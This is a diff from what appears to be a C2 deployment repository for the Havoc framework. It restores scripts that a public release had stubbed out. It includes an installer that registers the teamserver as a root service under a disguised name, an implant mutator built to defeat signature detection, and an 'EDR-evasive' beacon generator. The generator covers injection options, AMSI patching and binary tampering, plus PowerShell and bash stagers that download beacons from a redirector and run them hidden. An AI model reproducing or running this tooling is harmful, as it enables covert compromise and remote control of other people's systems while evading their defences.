||||
log "Compiler installed successfully at $COMPILER_PATH"
|
||||
chmod +x $COMPILER_PATH
|
||||
else
|
||||
log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
|
||||
fi
|
||||
|
||||
# Clean up
|
||||
rm -f /tmp/compiler.tgz
|
||||
else
|
||||
log "Compiler already installed at $COMPILER_DIR"
|
||||
fi
|
||||
|
||||
# Clone Havoc repository
|
||||
log "Cloning Havoc repository..."
|
||||
if [ -d "$HAVOC_DIR" ]; then
|
||||
log "Havoc directory already exists, updating..."
|
||||
cd $HAVOC_DIR
|
||||
git pull
|
||||
else
|
||||
# Clone with proper GitHub URL
|
||||
git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
|
||||
cd $HAVOC_DIR
|
||||
fi
|
||||
|
||||
# Create data directories
|
||||
mkdir -p $HAVOC_DATA_DIR
|
||||
mkdir -p $HAVOC_DIR/payloads
|
||||
mkdir -p $HAVOC_DIR/payloads/backup
|
||||
|
||||
# Initialize submodules
|
||||
log "Initializing submodules..."
|
||||
cd $HAVOC_DIR
|
||||
git submodule init
|
||||
git submodule update --recursive
|
||||
|
||||
# Create improved implant mutator script BEFORE building
|
||||
log "Creating implant mutator script..."
|
||||
cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
|
||||
#!/bin/bash
|
||||
# === CONFIG ===
|
||||
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
|
||||
SRC_DIR="$IMPLANT_DIR/src"
|
||||
BUILD_ROOT="$HOME/Tools/havoc"
|
||||
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
|
||||
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
|
||||
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||
# === COLORS ===
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[1;32m'
|
||||
NC='\033[0m'
|
||||
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||
# === 1. Backup Previous Shellcode ===
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||
fi
|
||||
# === 2. Generate Random Identifiers ===
|
||||
random_str() {
|
||||
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||
}
|
||||
UA=$(random_str)
|
||||
URI=$(random_str)
|
||||
PIPE=$(random_str)
|
||||
MUTEX=$(random_str)
|
||||
# === 3. Mutate TransportHttp.c ===
|
||||
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||
if [[ -f "$THTTP" ]]; then
|
||||
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||
fi
|
||||
# === 4. Mutate Named Pipe and Mutex ===
|
||||
TARGET_FILE=""
|
||||
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||
if [[ -f "$f" ]]; then
|
||||
TARGET_FILE="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [[ -n "$TARGET_FILE" ]]; then
|
||||
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||
fi
|
||||
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||
cd "$BUILD_ROOT" || exit 1
|
||||
make clean && make
|
||||
# === 6. Confirm Shellcode Output ===
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
EOF
|
||||
|
||||
chmod +x "$IMPLANT_MUTATOR_SCRIPT"
|
||||
|
||||
# Perform mutations BEFORE building - this is critical
|
||||
# log "Running implant mutations script before building..."
|
||||
# if [ -d "$HAVOC_DIR/payloads/Demon" ]; then
|
||||
# $IMPLANT_MUTATOR_SCRIPT
|
||||
# if [ $? -ne 0 ]; then
|
||||
# log "Warning: Implant mutation script ran with errors, but continuing build..."
|
||||
# fi
|
||||
# else
|
||||
# log "Skipping implant mutations as Demon directory not found yet. Will be applied after build."
|
||||
# fi
|
||||
|
||||
# Install additional Go dependencies for the teamserver
|
||||
log "Installing Go dependencies for teamserver..."
|
||||
cd $HAVOC_DIR/teamserver
|
||||
go mod download golang.org/x/sys
|
||||
cd $HAVOC_DIR
|
||||
|
||||
# Build Havoc using make - build teamserver first
|
||||
log "Building Havoc teamserver..."
|
||||
cd $HAVOC_DIR
|
||||
make ts-build
|
||||
|
||||
# Build Havoc client
|
||||
#log "Building Havoc client..."
|
||||
#make client-build
|
||||
|
||||
# Create systemd service for Havoc
|
||||
log "Creating systemd service for Havoc teamserver..."
|
||||
cat > /etc/systemd/system/havoc.service << EOF
|
||||
[Unit]
|
||||
Description=Advanced Security Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
WorkingDirectory=$HAVOC_DIR/teamserver
|
||||
ExecStart=$HAVOC_DIR/havoc server -d
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security measures
|
||||
PrivateTmp=true
|
||||
ProtectHome=false
|
||||
NoNewPrivileges=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
# Set proper permissions
|
||||
log "Setting proper permissions..."
|
||||
chmod -R 755 $HAVOC_DIR
|
||||
|
||||
# Create symlinks to executables in /usr/local/bin
|
||||
ln -sf $HAVOC_DIR/havoc /usr/local/bin/havoc
|
||||
ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
|
||||
|
||||
# Enable and start Havoc service
|
||||
log "Enabling and starting Havoc service..."
|
||||
systemctl daemon-reload
|
||||
systemctl enable havoc
|
||||
systemctl start havoc
|
||||
|
||||
log "Havoc C2 installation completed successfully!"
|
||||
@@ -1,9 +1,76 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — Havoc profile mutation script
|
||||
#
|
||||
# Generates a randomized Havoc teamserver profile (.yaotl) for each engagement.
|
||||
# Randomizes sleep jitter, kill dates, working hours, and C2 profile fields.
|
||||
# Feeds output directly into the teamserver configuration pipeline.
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
echo "[!] Havoc profile mutator not included in public release."
|
||||
|
||||
# === CONFIG ===
|
||||
IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
|
||||
SRC_DIR="$IMPLANT_DIR/src"
|
||||
BUILD_ROOT="$HOME/Tools/Havoc"
|
||||
OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
|
||||
BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
|
||||
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||
|
||||
# === COLORS ===
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[1;32m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||
|
||||
# === 1. Backup Previous Shellcode ===
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||
fi
|
||||
|
||||
# === 2. Generate Random Identifiers ===
|
||||
random_str() {
|
||||
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||
}
|
||||
|
||||
UA=$(random_str)
|
||||
URI=$(random_str)
|
||||
PIPE=$(random_str)
|
||||
MUTEX=$(random_str)
|
||||
|
||||
# === 3. Mutate TransportHttp.c ===
|
||||
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||
if [[ -f "$THTTP" ]]; then
|
||||
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||
fi
|
||||
|
||||
# === 4. Mutate Named Pipe and Mutex ===
|
||||
TARGET_FILE=""
|
||||
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||
if [[ -f "$f" ]]; then
|
||||
TARGET_FILE="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ -n "$TARGET_FILE" ]]; then
|
||||
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||
fi
|
||||
|
||||
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||
cd "$BUILD_ROOT" || exit 1
|
||||
make clean && make
|
||||
|
||||
# === 6. Confirm Shellcode Output ===
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
@@ -1,10 +1,65 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — implant mutation script
|
||||
#
|
||||
# Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe
|
||||
# names, mutex strings) before each compile to defeat signature-based detection.
|
||||
# Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles
|
||||
# a fresh shellcode blob, and backs up the previous payload with a timestamp.
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
echo "[!] Implant mutator not included in public release."
|
||||
# === CONFIG ===
|
||||
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
|
||||
SRC_DIR="$IMPLANT_DIR/src"
|
||||
BUILD_ROOT="$HOME/Tools/havoc"
|
||||
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
|
||||
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
|
||||
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||
# === COLORS ===
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[1;32m'
|
||||
NC='\033[0m'
|
||||
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||
# === 1. Backup Previous Shellcode ===
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||
fi
|
||||
# === 2. Generate Random Identifiers ===
|
||||
random_str() {
|
||||
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||
}
|
||||
UA=$(random_str)
|
||||
URI=$(random_str)
|
||||
PIPE=$(random_str)
|
||||
MUTEX=$(random_str)
|
||||
# === 3. Mutate TransportHttp.c ===
|
||||
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||
if [[ -f "$THTTP" ]]; then
|
||||
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||
fi
|
||||
# === 4. Mutate Named Pipe and Mutex ===
|
||||
TARGET_FILE=""
|
||||
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||
if [[ -f "$f" ]]; then
|
||||
TARGET_FILE="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [[ -n "$TARGET_FILE" ]]; then
|
||||
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||
fi
|
||||
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||
cd "$BUILD_ROOT" || exit 1
|
||||
make clean && make
|
||||
# === 6. Confirm Shellcode Output ===
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,10 +1,456 @@
|
||||
{# OMITTED — evasive beacon generation template #}
|
||||
{#
|
||||
Jinja2 template rendered at deploy time. Produces a shell script that compiles
|
||||
Havoc Demon shellcode with per-engagement randomized identifiers, wraps the
|
||||
shellcode in a chosen injection template (process hollowing, APC injection,
|
||||
early-bird), and stages the result to the payload server.
|
||||
#!/bin/bash
|
||||
# EDR-evasive beacon generator for Havoc C2
|
||||
# Every deployment produces completely unique payloads
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
echo "[!] Evasive beacon generator not included in public release."
|
||||
# Configuration (automatically populated by Ansible)
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
BEACONS_DIR="/root/Tools/beacons"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $BEACONS_DIR/windows
|
||||
mkdir -p $BEACONS_DIR/linux
|
||||
mkdir -p $BEACONS_DIR/staged
|
||||
mkdir -p $BEACONS_DIR/shellcode
|
||||
|
||||
# Load Havoc configuration from profile
|
||||
if [ -f "$PROFILE_FILE" ]; then
|
||||
echo "[+] Loading Havoc configuration from profile..."
|
||||
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
|
||||
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
|
||||
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
|
||||
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
|
||||
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
|
||||
else
|
||||
echo "[!] Warning: Profile file not found, using default values"
|
||||
TEAMSERVER_PORT=40056
|
||||
ADMIN_USER="admin"
|
||||
ADMIN_PASS="admin"
|
||||
HTTP_PORT=8080
|
||||
HTTPS_PORT=443
|
||||
fi
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Anti-detection function to modify binary files
|
||||
modify_binary() {
|
||||
local input_file=$1
|
||||
|
||||
echo "[+] Applying anti-detection modifications to: $input_file"
|
||||
|
||||
# Create a temporary file
|
||||
local temp_file="${input_file}.tmp"
|
||||
cp "$input_file" "$temp_file"
|
||||
|
||||
# Modify the file based on its type
|
||||
if file "$input_file" | grep -q "PE32"; then
|
||||
# Windows EXE/DLL modifications
|
||||
|
||||
# Add random bytes to end of file
|
||||
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
|
||||
|
||||
# Modify PE header timestamps with random value
|
||||
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
|
||||
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
|
||||
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
|
||||
|
||||
# Try to strip debug information
|
||||
if command -v strip &> /dev/null; then
|
||||
strip --strip-debug "$temp_file" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
elif file "$input_file" | grep -q "ELF"; then
|
||||
# Linux ELF modifications
|
||||
|
||||
# Add random bytes to end of file
|
||||
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
|
||||
|
||||
# Try to strip all symbols
|
||||
if command -v strip &> /dev/null; then
|
||||
strip --strip-all "$temp_file" 2>/dev/null || true
|
||||
fi
|
||||
fi
|
||||
|
||||
# Replace original with modified version
|
||||
mv "$temp_file" "$input_file"
|
||||
|
||||
echo "[+] Binary modifications complete"
|
||||
}
|
||||
|
||||
# Create advanced Havoc payload profile with evasion techniques
|
||||
generate_profile() {
|
||||
local type=$1
|
||||
local profile_name="${type}_profile_$(random_string 8).json"
|
||||
|
||||
echo "[+] Creating evasive $type profile..."
|
||||
|
||||
# Generate random values for this profile
|
||||
local sleep_time=$(( RANDOM % 10 + 2 ))
|
||||
local jitter_percent=$(( RANDOM % 50 + 10 ))
|
||||
|
||||
if [ "$type" == "windows" ]; then
|
||||
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": ${sleep_time},
|
||||
"SleepJitter": ${jitter_percent},
|
||||
"IndirectSyscalls": true,
|
||||
"Inject": {
|
||||
"AllocationMethod": $(( RANDOM % 3 )),
|
||||
"ExecutionMethod": $(( RANDOM % 3 )),
|
||||
"ExecuteOptions": $(( RANDOM % 2 ))
|
||||
},
|
||||
"Evasion": {
|
||||
"StackSpoofing": true,
|
||||
"SleazeUnhook": true,
|
||||
"AmsiEtwPatching": true,
|
||||
"SyscallMethod": $(( RANDOM % 3 )),
|
||||
"EnableSleepMask": true,
|
||||
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||
},
|
||||
"Binary": {
|
||||
"Subsystem": $(( RANDOM % 2 + 1 ))
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
elif [ "$type" == "linux" ]; then
|
||||
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": ${sleep_time},
|
||||
"SleepJitter": ${jitter_percent},
|
||||
"Injection": {
|
||||
"SpawnMethod": $(( RANDOM % 2 )),
|
||||
"AllocationMethod": $(( RANDOM % 2 ))
|
||||
},
|
||||
"Evasion": {
|
||||
"EnableSleepMask": true,
|
||||
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
fi
|
||||
|
||||
echo "$profile_name"
|
||||
}
|
||||
|
||||
# Generate Havoc payloads with EDR evasion techniques
|
||||
generate_payloads() {
|
||||
echo "[+] Generating EDR-evasive Havoc beacons..."
|
||||
|
||||
# Windows EXE
|
||||
win_profile=$(generate_profile "windows")
|
||||
win_output="update_win_$(random_string 8).exe"
|
||||
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$win_profile" \
|
||||
--format exe \
|
||||
--output "$BEACONS_DIR/windows/$win_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/windows/$win_output"
|
||||
fi
|
||||
|
||||
# Windows DLL
|
||||
dll_profile=$(generate_profile "windows")
|
||||
dll_output="module_$(random_string 8).dll"
|
||||
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$dll_profile" \
|
||||
--format dll \
|
||||
--output "$BEACONS_DIR/windows/$dll_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/windows/$dll_output"
|
||||
fi
|
||||
|
||||
# Linux binary
|
||||
linux_profile=$(generate_profile "linux")
|
||||
linux_output="update_linux_$(random_string 8)"
|
||||
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$linux_profile" \
|
||||
--format elf \
|
||||
--output "$BEACONS_DIR/linux/$linux_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/linux/$linux_output"
|
||||
fi
|
||||
|
||||
# Windows shellcode (staged payload)
|
||||
shellcode_profile=$(generate_profile "windows")
|
||||
shellcode_output="shellcode_$(random_string 8).bin"
|
||||
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$shellcode_profile" \
|
||||
--format shellcode \
|
||||
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
echo "[+] All payloads generated successfully!"
|
||||
|
||||
# Return payload information
|
||||
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
|
||||
}
|
||||
|
||||
# Generate PowerShell and bash stagers
|
||||
generate_stagers() {
|
||||
win_output=$1
|
||||
linux_output=$2
|
||||
|
||||
echo "[+] Generating evasive stagers..."
|
||||
|
||||
# Create PowerShell stager directory
|
||||
mkdir -p $BEACONS_DIR/stagers
|
||||
|
||||
# PowerShell stager with AMSI bypass and obfuscation
|
||||
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
|
||||
# PowerShell stager for Havoc C2 with AMSI bypass
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
|
||||
# AMSI Bypass
|
||||
function Bypass-AMSI {
|
||||
$a = [Ref].Assembly.GetTypes()
|
||||
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
|
||||
$d = $c.GetFields('NonPublic,Static')
|
||||
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
|
||||
$g = $f.GetValue($null)
|
||||
[IntPtr]$ptr = $g
|
||||
[Int32[]]$buf = @(0)
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
|
||||
}
|
||||
|
||||
# Try to bypass AMSI
|
||||
try { Bypass-AMSI } catch {}
|
||||
|
||||
# Randomize variables for evasion
|
||||
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
|
||||
# Error handling with obfuscation
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
|
||||
|
||||
# Split URL to avoid detection
|
||||
$r1 = "https://"
|
||||
$r2 = "REDIRECTOR_HOST"
|
||||
$r3 = "/content/windows/WINDOWS_EXE"
|
||||
$url = $r1 + $r2 + $r3
|
||||
|
||||
# Download with jitter
|
||||
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
|
||||
# Start process with extra obfuscation
|
||||
$p = New-Object System.Diagnostics.Process
|
||||
$p.StartInfo.FileName = $outpath
|
||||
$p.StartInfo.WindowStyle = 'Hidden'
|
||||
$p.StartInfo.CreateNoWindow = $true
|
||||
$p.Start()
|
||||
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Replace placeholder values in PowerShell stager
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||
|
||||
# Bash stager with obfuscation techniques
|
||||
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
|
||||
#!/bin/bash
|
||||
# Linux download and execute Havoc beacon with EDR evasion
|
||||
|
||||
# Function obfuscation
|
||||
function x() {
|
||||
command -v "$1" > /dev/null 2>&1
|
||||
}
|
||||
|
||||
# Random temp filename
|
||||
r() {
|
||||
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
|
||||
}
|
||||
|
||||
# Randomize variables
|
||||
TMPVAR=$(r)
|
||||
TMPFILE="/tmp/.${TMPVAR}"
|
||||
|
||||
# Check which download tool is available
|
||||
if x curl; then
|
||||
# Split URL to avoid signature detection
|
||||
p1="https://"
|
||||
p2="REDIRECTOR_HOST"
|
||||
p3="/content/linux/LINUX_BINARY"
|
||||
url="${p1}${p2}${p3}"
|
||||
# Add random sleep between operations
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
curl -s -o "$TMPFILE" "$url"
|
||||
elif x wget; then
|
||||
p1="https://"
|
||||
p2="REDIRECTOR_HOST"
|
||||
p3="/content/linux/LINUX_BINARY"
|
||||
url="${p1}${p2}${p3}"
|
||||
# Add random sleep between operations
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
wget -q -O "$TMPFILE" "$url"
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Make executable and run in background
|
||||
chmod +x "$TMPFILE"
|
||||
# Add random sleep before execution
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
("$TMPFILE" > /dev/null 2>&1 &)
|
||||
|
||||
# Clean up command history if possible
|
||||
